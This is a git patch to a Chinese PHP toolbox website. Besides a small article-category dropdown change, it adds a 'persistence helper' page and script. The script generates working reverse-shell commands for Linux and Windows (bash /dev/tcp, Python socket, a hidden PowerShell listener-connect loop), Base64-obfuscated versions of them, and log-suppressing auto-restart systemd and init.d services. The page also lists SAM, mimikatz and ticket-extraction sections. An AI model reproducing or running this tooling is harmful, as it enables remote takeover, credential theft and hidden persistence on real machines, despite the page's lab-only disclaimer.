From 4480a437b061d8e8b1ce2c1952ca8a6990f18366 Mon Sep 17 00:00:00 2001 From: MasonLiu <2857911564@qq.com> Date: Sun, 6 Sep 2026 21:27:10 +0800 Subject: [PATCH] =?UTF-8?q?=E6=96=B0=E5=A2=9E=E8=BE=85=E5=8A=A9=E7=BB=B4?= =?UTF-8?q?=E6=9D=83=E5=B7=A5=E5=85=B7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .htaccess | 0 admin/articles.php | 79 ++++++++++-- article/index.php | 2 +- assets/js/persist.js | 287 +++++++++++++++++++++++++++++++++++++++++++ data/homepage.db | Bin 0 -> 53248 bytes func/persist.php | 174 ++++++++++++++++++++++++++ includes/db.php | 1 + nginx.htaccess | 0 8 files changed, 531 insertions(+), 12 deletions(-) create mode 100644 .htaccess create mode 100644 assets/js/persist.js create mode 100644 data/homepage.db create mode 100644 func/persist.php create mode 100644 nginx.htaccess diff --git a/.htaccess b/.htaccess new file mode 100644 index 0000000..e69de29 diff --git a/admin/articles.php b/admin/articles.php index fe23ff2..2856f7e 100644 --- a/admin/articles.php +++ b/admin/articles.php @@ -61,7 +61,7 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') { $sort = max(0, (int)($_POST['sort'] ?? 0)); $pinned = (isset($_POST['pinned']) && $_POST['pinned'] === '1') ? 1 : 0; $enabled = (isset($_POST['enabled']) && $_POST['enabled'] === '1') ? 1 : 0; - if ($part === '') { + if ($part === '' || $part === '__new__') { $part = '未分类'; } if ($title === '') { @@ -202,14 +202,16 @@ admin_topbar('articles'); 'summary' => (string)$row['summary'], 'md' => (string)$row['markdown'], 'sort' => (int)$row['sort'], 'pinned' => (int)$row['pinned'], 'enabled' => (int)$row['enabled'], ] : ['id' => 0, 'part' => '未分类', 'title' => '', 'summary' => '', 'md' => '', 'sort' => 0, 'pinned' => 0, 'enabled' => 1]; - // 分区下拉建议(仅列已有分区) - $partSuggest = []; + // 分区下拉选项:未分类 + 全部已有分区;编辑中的自定义分区自动补充,保证能回显选中 + $curPart = trim((string)$cur['part']); + if ($curPart === '') { $curPart = '未分类'; } + $partOptions = ['未分类']; foreach ($list as $a2) { $p2 = trim((string)$a2['part']); - if ($p2 !== '' && !in_array($p2, $partSuggest, true)) { - $partSuggest[] = $p2; - } + if ($p2 === '' || $p2 === '未分类') continue; + if (!in_array($p2, $partOptions, true)) { $partOptions[] = $p2; } } + if (!in_array($curPart, $partOptions, true)) { array_unshift($partOptions, $curPart); } ?>
@@ -220,12 +222,14 @@ admin_topbar('articles');
- - - -
@@ -365,6 +369,59 @@ admin_topbar('articles'); xhr.send(fd); }); })(); +(function () { + 'use strict'; + // 分区下拉:选择「+ 新建分区…」时切换为新分区名输入框,回车/失焦确认后回落 + var sel = document.getElementById('artPartSel'); + var inp = document.getElementById('artPartNew'); + var form = (sel && inp) ? sel.closest('form') : null; + if (!sel || !inp || !form) return; + function showSel() { + sel.style.display = ''; + inp.style.display = 'none'; + } + function acceptNew() { + var v = inp.value.replace(/^\s+|\s+$/g, ''); + if (v === '') return false; + var i, found = false; + for (i = 0; i < sel.options.length; i++) { + if (sel.options[i].value === v) { sel.selectedIndex = i; found = true; break; } + } + if (!found) { + var opt = document.createElement('option'); + opt.value = v; + opt.text = v; + sel.appendChild(opt); + sel.value = v; + } + inp.value = ''; + showSel(); + return true; + } + sel.addEventListener('change', function () { + if (sel.value === '__new__') { + sel.style.display = 'none'; + inp.style.display = ''; + inp.focus(); + } + }); + inp.addEventListener('keydown', function (ev) { + if (ev.key === 'Enter') { + ev.preventDefault(); + if (!acceptNew()) showSel(); + } + }); + inp.addEventListener('blur', function () { + if (!acceptNew()) showSel(); + }); + form.addEventListener('submit', function (ev) { + if (sel.value === '__new__' && !acceptNew()) { + ev.preventDefault(); + showSel(); + sel.focus(); + } + }); +})(); diff --git a/article/index.php b/article/index.php index 8203978..614a9a5 100644 --- a/article/index.php +++ b/article/index.php @@ -14,7 +14,7 @@ $pdo = db(); $noteText = setting_get('article_note', ''); // 全部可见文章(按 id 稳定取回,分区顺序取各分区首篇 id 序;分区内置顶 → sort → id) -$all = $pdo->query('SELECT id, part, title, summary, sort, created_at, updated_at +$all = $pdo->query('SELECT id, part, title, summary, pinned, sort, created_at, updated_at FROM articles WHERE enabled = 1 ORDER BY id ASC')->fetchAll(); $rows = []; $partOrder = []; diff --git a/assets/js/persist.js b/assets/js/persist.js new file mode 100644 index 0000000..eca2cbf --- /dev/null +++ b/assets/js/persist.js @@ -0,0 +1,287 @@ +/* persist.js —— 辅助维权(教学辅助)生成逻辑 + * 1) 反弹 Shell:按 Linux / Windows 目标机生成三组语句,每组「上为原句、下为 Base64 编码可执行版本」: + * #1 普通反弹(bash / PowerShell) + * #2 Python 2 反弹 + * #3 Python 3 反弹 + * 2) Linux 自启服务:按执行文件绝对路径生成 systemd unit 或 SysV init.d 脚本, + * 均不落盘日志(stdout/stderr → null)且崩溃 3 秒后自动重启。 + * Windows 辅助区文本框为只读,高度随内容自适应、不可手动拉伸。 + * 仅教学辅助;默认示例为占位演示值。 + */ +(function () { + 'use strict'; + + function $(id) { return document.getElementById(id); } + + /* ---------- 工具函数 ---------- */ + function esc(s) { + return String(s).replace(/&/g, '&').replace(//g, '>').replace(/"/g, '"'); + } + function basename(p) { + p = String(p || '').replace(/\\/g, '/').replace(/\/+$/, ''); + var i = p.lastIndexOf('/'); + return i >= 0 ? p.slice(i + 1) : p; + } + function segValue(seg) { + var b = seg.querySelector('button.active'); + return b ? b.getAttribute(b.hasAttribute('data-mode') ? 'data-mode' : 'data-plat') : ''; + } + function bindSeg(seg, onChange) { + var btns = seg.querySelectorAll('button'); + for (var i = 0; i < btns.length; i++) { + btns[i].addEventListener('click', function () { + for (var j = 0; j < btns.length; j++) btns[j].classList.remove('active'); + this.classList.add('active'); + if (onChange) onChange(); + }); + } + } + function setMsg(id, html, isErr) { + var box = $(id); + box.innerHTML = html ? '
' + html + '
' : ''; + } + function b64Ascii(text) { // ASCII → Base64(命令本身均为 ASCII) + var bin = ''; + for (var i = 0; i < text.length; i++) bin += String.fromCharCode(text.charCodeAt(i)); + return btoa(bin); + } + function b64Utf16LE(text) { // UTF-16LE → Base64(PowerShell -enc 需要) + var bytes = []; + for (var i = 0; i < text.length; i++) { + var c = text.charCodeAt(i); + bytes.push(c & 255, c >> 8); + } + var bin = ''; + for (var j = 0; j < bytes.length; j++) bin += String.fromCharCode(bytes[j]); + return btoa(bin); + } + function validIp(ip) { + ip = String(ip || '').trim(); + if (!/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/.test(ip)) return false; + var o = ip.split('.'); + for (var i = 0; i < 4; i++) { if (+o[i] > 255) return false; } + return true; + } + function validPort(p) { + p = String(p || '').trim(); + return /^\d{1,5}$/.test(p) && +p >= 1 && +p <= 65535; + } + /* 文本框高度自适应内容(.auto-ta 禁止手动拉伸) */ + function fitAuto() { + var els = document.querySelectorAll('.auto-ta'); + for (var i = 0; i < els.length; i++) { + els[i].style.height = 'auto'; + els[i].style.height = (els[i].scrollHeight + 2) + 'px'; + } + } + + /* ---------- 反弹 Shell 生成(a=普通 b=py2 c=py3,各带 64 编码版) ---------- */ + function buildLinux(ip, port) { + var bash = 'bash -i >& /dev/tcp/' + ip + '/' + port + ' 0>&1'; + var py2 = 'python2 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' + + 's.connect(("' + ip + '",' + port + '));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' + + 'subprocess.call(["/bin/sh","-i"])\''; + var py3 = py2.replace('python2', 'python3'); + return { + titles: { + a: '#1 普通反弹(bash · 现代发行版自带)', + b: '#2 Python 2 反弹(python2 · 老版本系统自带)', + c: '#3 Python 3 反弹(python3 · 现代发行版自带)' + }, + notes: { + a: '▼ 下方为 Base64 编码版(还原:echo 上方值 | base64 -d | bash)', + b: '▼ 下方为 Base64 编码版(还原:echo 上方值 | base64 -d | python2)', + c: '▼ 下方为 Base64 编码版(还原:echo 上方值 | base64 -d | python3)' + }, + a: bash, a64: 'echo ' + b64Ascii(bash) + ' | base64 -d | bash', + b: py2, b64: 'echo ' + b64Ascii(py2) + ' | base64 -d | python2', + c: py3, c64: 'echo ' + b64Ascii(py3) + ' | base64 -d | python3' + }; + } + function buildWin(ip, port) { + var ps = '$c=New-Object System.Net.Sockets.TCPClient(\'' + ip + '\',' + port + ');' + + '$s=$c.GetStream();[byte[]]$b=0..65535|%{0};' + + 'while(($i=$s.Read($b,0,$b.Length)) -ne 0){' + + '$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);' + + '$r=(iex $d 2>&1|Out-String);' + + '$s2=([text.encoding]::ASCII).GetBytes($r+\'PS \'+(pwd).Path+\'> \');' + + '$s.Write($s2,0,$s2.Length);$s.Flush()};$c.Close()'; + // Python 载荷:代码内部全部使用单引号字符串,便于外层用双引号包裹 + function pyCode(sh) { + return 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' + + 's.connect((\'' + ip + '\',' + port + '));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' + + 'subprocess.call([\'' + sh + '\'])'; + } + var code2 = pyCode('cmd.exe'); + var code3 = pyCode('cmd.exe'); + var orig2 = 'python2 -c "' + code2 + '"'; + var orig3 = 'python3 -c "' + code3 + '"'; + return { + titles: { + a: '#1 PowerShell 反弹(Windows 内置,无需额外组件)', + b: '#2 Python 2 反弹(需目标机已装 python2)', + c: '#3 Python 3 反弹(需目标机已装 python3)' + }, + notes: { + a: '▼ 下方为 Base64 编码版(PowerShell -enc,规避引号与特殊字符)', + b: '▼ 下方为 Base64 编码版(python2 -c 内置 base64 解码执行)', + c: '▼ 下方为 Base64 编码版(python3 -c 内置 base64 解码执行)' + }, + a: 'powershell -nop -w hidden -c "' + ps + '"', + a64: 'powershell -nop -w hidden -enc ' + b64Utf16LE(ps), + b: orig2, + b64: 'python2 -c "import base64;exec(base64.b64decode(\'' + b64Ascii(code2) + '\'))"', + c: orig3, + c64: 'python3 -c "import base64;exec(base64.b64decode(\'' + b64Ascii(code3) + '\'))"' + }; + } + function renderRev() { + var ip = $('revIp').value.trim(); + var port = $('revPort').value.trim(); + if (!validIp(ip)) { setMsg('revMsg', '请填写正确的监听 IPv4 地址。', true); return; } + if (!validPort(port)) { setMsg('revMsg', '请填写 1-65535 的有效端口。', true); return; } + var g = segValue($('revPlat')) === 'win' ? buildWin(ip, port) : buildLinux(ip, port); + $('revA').value = g.a; + $('revA64').value = g.a64; + $('revB').value = g.b; + $('revB64').value = g.b64; + $('revC').value = g.c; + $('revC64').value = g.c64; + $('revTA').textContent = g.titles.a; + $('revTB').textContent = g.titles.b; + $('revTC').textContent = g.titles.c; + $('revAN').textContent = g.notes.a; + $('revBN').textContent = g.notes.b; + $('revCN').textContent = g.notes.c; + setMsg('revMsg', '', false); + fitAuto(); + } + + /* ---------- Linux 自启服务生成 ---------- */ + function svcName() { + var n = $('lxName').value.trim(); + if (n) return n; + return basename($('lxPath').value) || 'agent'; + } + function systemdUnit(path, name) { + return '[Unit]\n' + + 'Description=' + name + ' service\n' + + 'After=network.target\n' + + '\n' + + '[Service]\n' + + 'Type=simple\n' + + 'ExecStart=' + path + '\n' + + 'Restart=always\n' + + 'RestartSec=3\n' + + 'StandardOutput=null\n' + + 'StandardError=null\n' + + '\n' + + '[Install]\n' + + 'WantedBy=multi-user.target\n'; + } + function initdScript(path, name) { + return '#!/bin/sh\n' + + '### BEGIN INIT INFO\n' + + '# Provides: ' + name + '\n' + + '# Required-Start: $remote_fs\n' + + '# Required-Stop: $remote_fs\n' + + '# Default-Start: 2 3 4 5\n' + + '# Default-Stop: 0 1 6\n' + + '# Short-Description: ' + name + '\n' + + '### END INIT INFO\n' + + '\n' + + 'DAEMON="' + path + '"\n' + + 'NAME="' + name + '"\n' + + 'PIDFILE="/var/run/' + name + '.pid"\n' + + '\n' + + 'case "$1" in\n' + + ' start)\n' + + ' echo "Starting $NAME..."\n' + + ' (while :; do "$DAEMON"; sleep 3; done) >/dev/null 2>&1 &\n' + + ' echo $! > "$PIDFILE"\n' + + ' ;;\n' + + ' stop)\n' + + ' echo "Stopping $NAME..."\n' + + ' if [ -f "$PIDFILE" ]; then\n' + + ' KPID=$(cat "$PIDFILE")\n' + + ' pkill -P "$KPID" 2>/dev/null\n' + + ' kill "$KPID" 2>/dev/null\n' + + ' rm -f "$PIDFILE"\n' + + ' fi\n' + + ' ;;\n' + + ' restart)\n' + + ' "$0" stop\n' + + ' sleep 1\n' + + ' "$0" start\n' + + ' ;;\n' + + ' *)\n' + + ' echo "Usage: $0 {start|stop|restart}"\n' + + ' exit 1\n' + + ' ;;\n' + + 'esac\n' + + 'exit 0\n'; + } + function renderService() { + var path = $('lxPath').value.trim(); + var name = svcName(); + var mode = segValue($('lxMode')) === 'initd' ? 'initd' : 'systemd'; + var out = $('lxOut'), tips = $('lxTips'); + if (!path) { + out.value = ''; + tips.textContent = '请先填写执行文件绝对路径。'; + return; + } + if (mode === 'systemd') { + out.value = systemdUnit(path, name); + tips.innerHTML = '安装:将上方内容写入 /etc/systemd/system/' + esc(name) + '.service(需 root),然后执行:
' + + 'systemctl daemon-reload && systemctl enable --now ' + esc(name) + '
' + + '说明:Restart=always 崩溃自动拉起;StandardOutput/StandardError=null 不产生、不落盘日志。'; + } else { + out.value = initdScript(path, name); + tips.innerHTML = '安装:将上方脚本写入 /etc/init.d/' + esc(name) + ' 并赋予执行权限:
' + + 'chmod +x /etc/init.d/' + esc(name) + '
' + + 'Debian/Ubuntu(低版本)注册开机自启:update-rc.d ' + esc(name) + ' defaults
' + + 'CentOS/RHEL 旧版注册开机自启:chkconfig --add ' + esc(name) + '
' + + '启动服务:service ' + esc(name) + ' start(脚本内含崩溃后 3 秒自动拉起的看护循环)。'; + } + } + function downloadService() { + var text = $('lxOut').value; + if (!text) return; + var name = svcName(); + var mode = segValue($('lxMode')) === 'initd' ? 'initd' : 'systemd'; + var fn = mode === 'systemd' ? name + '.service' : name; + var blob = new Blob(['\ufeff' + text], { type: 'text/plain;charset=utf-8' }); + var url = URL.createObjectURL(blob); + var a = document.createElement('a'); + a.href = url; + a.download = fn; + document.body.appendChild(a); + a.click(); + document.body.removeChild(a); + setTimeout(function () { URL.revokeObjectURL(url); }, 1500); + } + + /* ---------- 事件绑定 ---------- */ + bindSeg($('revPlat'), renderRev); + bindSeg($('lxMode'), renderService); + $('revGo').addEventListener('click', renderRev); + $('revPort').addEventListener('keydown', function (ev) { + if (ev.key === 'Enter') renderRev(); + }); + $('lxPath').addEventListener('input', renderService); + $('lxName').addEventListener('input', renderService); + $('lxGo').addEventListener('click', renderService); + $('lxDown').addEventListener('click', downloadService); + + /* 页面载入即展示默认示例(演示占位值)并自适应文本框高度 */ + renderRev(); + renderService(); + fitAuto(); + // 窗口宽度变化导致换行变化时重新自适应 + var rszT = null; + window.addEventListener('resize', function () { + if (rszT) clearTimeout(rszT); + rszT = setTimeout(fitAuto, 150); + }); +})(); diff --git a/data/homepage.db b/data/homepage.db new file mode 100644 index 0000000000000000000000000000000000000000..4582d80a31c2a3a67227cdf42ec4e34988ac0122 GIT binary patch literal 53248 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 LU){ZTg+u=X9;jJ| literal 0 HcmV?d00001 diff --git a/func/persist.php b/func/persist.php new file mode 100644 index 0000000..b63693a --- /dev/null +++ b/func/persist.php @@ -0,0 +1,174 @@ + + +
+
+
+

辅助维权 · 教学辅助

+

本工具仅供内网教学 / 授权实验环境使用,请勿用于任何未经授权的真实目标。 + 三类输出全部在浏览器本地生成:① 反弹 Shell 构建(Linux / Windows 目标机,含普通、Python 动态与 Base64 编码版本); + ② Windows 辅助(SAM / SYSTEM 提取、mimikatz 与常见票据提取参考语句);③ Linux 自启服务(systemd / init.d 配置生成,不落盘日志、自动重启)。 + 示例 IP / 路径仅为演示占位,请替换为实验环境真实值。

+
+ + +
+

反弹 Shell 构建

+

先在你自己的实验机上执行 nc -lvnp 端口 监听,再按目标机系统生成对应反弹命令在目标机执行。 + 「IP」填你自己的监听机地址,「端口」与监听端口保持一致。

+
+
+ + +
+ + + +
+
+ +
+
+ #1 普通反弹 + + + + +
+ +
▼ 下方为 Base64 编码后的可执行版本
+ +
+ +
+
+ #2 Python 反弹 + + + + +
+ +
▼ 下方为 Base64 编码后的可执行版本
+ +
+ +
+
+ #3 Python 反弹 + + + + +
+ +
▼ 下方为 Base64 编码后的可执行版本
+ +
+
+ + +
+

Windows 辅助(凭据 / 票据提取参考)

+

以下命令均在目标机本地生成与落盘,需以管理员 / SYSTEM 权限执行,结果文件再拷贝到实验分析机解析。

+ +
+
+ SAM / SYSTEM 配置单元提取 + +
+ +
+ +
+
+ mimikatz 常用提取语句 + +
+ +
+ +
+
+ 常见票据提取方法 + +
+ +

票据提取后可直接用于横向实验;离线解析需要在分析机上准备 mimikatz / impacket 等教学组件。

+
+
+ + +
+

Linux 自启服务配置生成

+

输入需要常驻的执行文件绝对路径,切换「高版本 systemd / 低版本 init.d」即时生成对应配置。 + 生成内容均满足:不产生 / 不落盘日志(stdout、stderr 全部丢弃),异常退出自动重启(间隔 3 秒)。输出可在文本框内继续编辑。

+
+ + +
+
+
+ + +
+ + + +
+ +

+
+
+
+ + + + + + + diff --git a/includes/db.php b/includes/db.php index 79d6ad8..276dc9b 100644 --- a/includes/db.php +++ b/includes/db.php @@ -187,6 +187,7 @@ function db_init(PDO $pdo): void $extraTools = [ ['国密加解密', '🔏', 'SM2 非对称加解密 / SM3 摘要 / SM4 对称加解密(SM1 为不公开硬件算法)', 'gmcodec.php'], ['IP 地址处理', '🌐', '提取日志中的全部 IPv4 并统计出现次数,再按内网 / CDN / 公网区分展示', 'ip.php'], + ['辅助维权', '🛠️', '反弹 Shell 构建 / Windows SAM·mimikatz·票据提取 / Linux 自启服务(systemd 与 init.d)', 'persist.php'], ]; $chkUrl = $pdo->prepare('SELECT COUNT(*) FROM func_tools WHERE url = ?'); $insTool = $pdo->prepare('INSERT INTO func_tools (name, icon, description, url, is_external, enabled, sort) VALUES (?,?,?,?,0,1,?)'); diff --git a/nginx.htaccess b/nginx.htaccess new file mode 100644 index 0000000..e69de29